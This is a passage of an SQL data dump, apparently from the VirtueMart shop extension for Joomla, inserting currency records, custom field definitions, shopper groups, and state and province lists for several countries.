',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 'Tajikistani somoni', '', 'TJS', 972, 0, 'ЅМ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 'Angolan kwanza', '', 'AOA', 973, 0, 'Kz', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 'Belarusian ruble', '', 'BYR', 974, 0, 'p.', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 'Bulgarian lev', '', 'BGN', 975, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 'Congolese franc', '', 'CDF', 976, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 'Bosnia and Herzegovina convert', '', 'BAM', 977, 0, 'KM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 'Mexican Unid', '', 'MXV', 979, 0, 'MXV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 'Ukrainian hryvnia', '', 'UAH', 980, 0, '₴', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 'Georgian lari', '', 'GEL', 981, 0, 'ლ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 'Mvdol', '', 'BOV', 984, 0, 'BOV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_customs` -- INSERT INTO `#__virtuemart_customs` ( `virtuemart_custom_id`, `custom_parent_id`, `admin_only`, `custom_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1,0, 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, 1, '2011-05-25 21:52:43', 62, '2011-05-25 21:52:43', 62, '0000-00-00 00:00:00', 0), (2,0, 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (2, 1, 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT', 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_DESCR', 1, 1, 1), (1, 1, 'COM_VIRTUEMART_SHOPPERGROUP_GUEST', 'COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR', 2, 1, 1); -- -- Dumping data for table `#__virtuemart_states` -- INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `virtuemart_worldzone_id`, `state_name`, `state_3_code`, `state_2_code`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, 223, 0, 'Alabama', 'ALA', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 1, 223, 0, 'Alaska', 'ALK', 'AK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 1, 223, 0, 'Arizona', 'ARZ', 'AZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 223, 0, 'Arkansas', 'ARK', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 223, 0, 'California', 'CAL', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 1, 223, 0, 'Colorado', 'COL', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 223, 0, 'Connecticut', 'CCT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 1, 223, 0, 'Delaware', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 223, 0, 'District Of Columbia', 'DOC', 'DC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 223, 0, 'Florida', 'FLO', 'FL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 223, 0, 'Georgia', 'GEA', 'GA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 223, 0, 'Hawaii', 'HWI', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 1, 223, 0, 'Idaho', 'IDA', 'ID', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 1, 223, 0, 'Illinois', 'ILL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 223, 0, 'Indiana', 'IND', 'IN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 223, 0, 'Iowa', 'IOA', 'IA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 223, 0, 'Kansas', 'KAS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 223, 0, 'Kentucky', 'KTY', 'KY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 223, 0, 'Louisiana', 'LOA', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 223, 0, 'Maine', 'MAI', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 223, 0, 'Maryland', 'MLD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 223, 0, 'Massachusetts', 'MSA', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 1, 223, 0, 'Michigan', 'MIC', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 223, 0, 'Minnesota', 'MIN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 223, 0, 'Mississippi', 'MIS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 223, 0, 'Missouri', 'MIO', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 223, 0, 'Montana', 'MOT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 223, 0, 'Nebraska', 'NEB', 'NE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 223, 0, 'Nevada', 'NEV', 'NV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 223, 0, 'New Hampshire', 'NEH', 'NH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 223, 0, 'New Jersey', 'NEJ', 'NJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 223, 0, 'New Mexico', 'NEM', 'NM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 223, 0, 'New York', 'NEY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 223, 0, 'North Carolina', 'NOC', 'NC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 223, 0, 'North Dakota', 'NOD', 'ND', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (36, 1, 223, 0, 'Ohio', 'OHI', 'OH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (37, 1, 223, 0, 'Oklahoma', 'OKL', 'OK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (38, 1, 223, 0, 'Oregon', 'ORN', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (39, 1, 223, 0, 'Pennsylvania', 'PEA', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 223, 0, 'Rhode Island', 'RHI', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 223, 0, 'South Carolina', 'SOC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 223, 0, 'South Dakota', 'SOD', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (43, 1, 223, 0, 'Tennessee', 'TEN', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 223, 0, 'Texas', 'TXS', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (45, 1, 223, 0, 'Utah', 'UTA', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 223, 0, 'Vermont', 'VMT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 223, 0, 'Virginia', 'VIA', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (48, 1, 223, 0, 'Washington', 'WAS', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 223, 0, 'West Virginia', 'WEV', 'WV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 223, 0, 'Wisconsin', 'WIS', 'WI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (51, 1, 223, 0, 'Wyoming', 'WYO', 'WY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 38, 0, 'Alberta', 'ALB', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (53, 1, 38, 0, 'British Columbia', 'BRC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 38, 0, 'Manitoba', 'MAB', 'MB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 38, 0, 'New Brunswick', 'NEB', 'NB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 38, 0, 'Newfoundland and Labrador', 'NFL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (57, 1, 38, 0, 'Northwest Territories', 'NWT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 38, 0, 'Nova Scotia', 'NOS', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (59, 1, 38, 0, 'Nunavut', 'NUT', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 38, 0, 'Ontario', 'ONT', 'ON', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 38, 0, 'Prince Edward Island', 'PEI', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 38, 0, 'Quebec', 'QEC', 'QC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 38, 0, 'Saskatchewan', 'SAK', 'SK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 38, 0, 'Yukon', 'YUT', 'YT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 222, 0, 'England', 'ENG', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (66, 1, 222, 0, 'Northern Ireland', 'NOI', 'NI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 222, 0, 'Scotland', 'SCO', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 222, 0, 'Wales', 'WLS', 'WS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 13, 0, 'Australian Capital Territory', 'ACT', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 13, 0, 'New South Wales', 'NSW', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (71, 1, 13, 0, 'Northern Territory', 'NOT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (72, 1, 13, 0, 'Queensland', 'QLD', 'QL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 13, 0, 'South Australia', 'SOA', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 13, 0, 'Tasmania', 'TAS', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 13, 0, 'Victoria', 'VIC', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 13, 0, 'Western Australia', 'WEA', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 138, 0, 'Aguascalientes', 'AGS', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 138, 0, 'Baja California Norte', 'BCN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 138, 0, 'Baja California Sur', 'BCS', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 138, 0, 'Campeche', 'CAM', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 138, 0, 'Chiapas', 'CHI', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 138, 0, 'Chihuahua', 'CHA', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 138, 0, 'Coahuila', 'COA', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 138, 0, 'Colima', 'COL', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 138, 0, 'Distrito Federal', 'DFM', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 138, 0, 'Durango', 'DGO', 'DO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 138, 0, 'Guanajuato', 'GTO', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (88, 1, 138, 0, 'Guerrero', 'GRO', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 138, 0, 'Hidalgo', 'HGO', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 138, 0, 'Jalisco', 'JAL', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (91, 1, 138, 0, 'M', 'EDM', 'EM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 138, 0, 'Michoac', 'MCN', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 138, 0, 'Morelos', 'MOR', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 138, 0, 'Nayarit', 'NAY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (95, 1, 138, 0, 'Nuevo Le', 'NUL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 138, 0, 'Oaxaca', 'OAX', 'OA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 138, 0, 'Puebla', 'PUE', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 138, 0, 'Quer', 'QRO', 'QU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (99, 1, 138, 0, 'Quintana Roo', 'QUR', 'QR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 138, 0, 'San Luis Potos', 'SLP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (101, 1, 138, 0, 'Sinaloa', 'SIN', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 138, 0, 'Sonora', 'SON', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (103, 1, 138, 0, 'Tabasco', 'TAB', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (104, 1, 138, 0, 'Tamaulipas', 'TAM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 138, 0, 'Tlaxcala', 'TLX', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 138, 0, 'Veracruz', 'VER', 'VZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 138, 0, 'Yucat', 'YUC', 'YU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 138, 0, 'Zacatecas', 'ZAC', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 30, 0, 'Acre', 'ACR', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 30, 0, 'Alagoas', 'ALG', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 30, 0, 'Amapá', 'AMP', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 30, 0, 'Amazonas', 'AMZ', 'AM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 30, 0, 'Bahía', 'BAH', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 30, 0, 'Ceará', 'CEA', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (115, 1, 30, 0, 'Distrito Federal', 'DFB', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 30, 0, 'Espírito Santo', 'ESS', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 30, 0, 'Goiás', 'GOI', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 30, 0, 'Maranhão', 'MAR', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 30, 0, 'Mato Grosso', 'MAT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 30, 0, 'Mato Grosso do Sul', 'MGS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 30, 0, 'Minas Gerais', 'MIG', 'MG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 30, 0, 'Paraná', 'PAR', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (123, 1, 30, 0, 'Paraíba', 'PRB', 'PB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 30, 0, 'Pará', 'PAB', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 30, 0, 'Pernambuco', 'PER', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 30, 0, 'Piauí', 'PIA', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 30, 0, 'Rio Grande do Norte', 'RGN', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 30, 0, 'Rio Grande do Sul', 'RGS', 'RS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (129, 1, 30, 0, 'Rio de Janeiro', 'RDJ', 'RJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 30, 0, 'Rondônia', 'RON', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 30, 0, 'Roraima', 'ROR', 'RR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 30, 0, 'Santa Catarina', 'SAC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 30, 0, 'Sergipe', 'SER', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 30, 0, 'São Paulo', 'SAP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 30, 0, 'Tocantins', 'TOC', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 44, 0, 'Anhui', 'ANH', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 44, 0, 'Beijing', 'BEI', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (138, 1, 44, 0, 'Chongqing', 'CHO', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 44, 0, 'Fujian', 'FUJ', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 44, 0, 'Gansu', 